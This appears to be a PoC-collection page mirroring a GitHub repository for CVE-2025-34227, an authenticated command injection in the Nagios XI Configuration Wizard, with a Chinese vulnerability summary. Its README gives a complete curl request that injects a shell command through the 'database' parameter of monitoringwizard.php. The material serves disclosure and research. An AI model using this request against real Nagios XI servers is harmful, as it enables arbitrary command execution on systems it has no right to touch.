CVE-2025-34227 PoC — Nagios XI 安全漏洞

Source

https://github.com/mcorybillington/CVE-2025-34227_Nagios-XI-Command-Injection-Configuration-Wizard

Associated Vulnerability

Title:Nagios XI 安全漏洞 (CVE-2025-34227)
Description:Nagios XI是美国Nagios公司的一套IT基础设施监控解决方案。该方案支持对应用、服务、操作系统等进行监控和预警。 Nagios XI 2026R1之前版本存在安全漏洞，该漏洞源于在MongoDB、MySQL Query、MySQL Server、Postgres Server和Postgres Query向导中，Nagios XI容易受到命令注入攻击，可能导致执行任意系统命令。

Description

Simple proof of concept repository for CVE-2025-34227 Nagios XI authenticated command injection in Configuration Wizard

Readme

# CVE-2025-34227 Nagios XI Authenticated Command Injection in `Configuration Wizard`
Simple proof of concept repository for CVE-2025-34227, an authenticated command injection in Nagios XI -> `Configuration Wizard`

Full writeup here: https://theyhack.me/CVE-2025-34227-Nagios-XI-Wizard-Command-Injection/


## `curl` Proof of Concept
The payload below is in the `database` parameter: `;touch /tmp/rceproof;`.

After authenticating, add your `Cookie: nagiosxi=` session id and add your `nsp` value to the POST body:
```
$ curl -s \
-H 'Cookie: nagiosxi=<your-session-id-here>' \
--data 'update=1&nsp=<your-nsp-value-here>&step=3&nextstep=5&wizard=mysqlquery&tpl=&hostname=localhost&operation=&selectedhostconfig=&services_serial=&serviceargs_serial=&config_serial=&ip_address=127.0.0.1&port=3306&username=test&password=test&database=information_schema%3Btouch+/tmp/rceproof%3B&queryname=curl+RCE+service&query=SELECT+1&warning=50&check_interval=1&retry_interval=1&critical=200&finishButton=' \
http://192.168.122.9/nagiosxi/config/monitoringwizard.php
```

File Snapshot


 [4.0K]  /data/pocs/b79333fd88ccca5a60a821bb28625b51a1454609
├── [3.5K]  CVE-2025-34227.py
└── [1.0K]  README.md

1 directory, 2 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!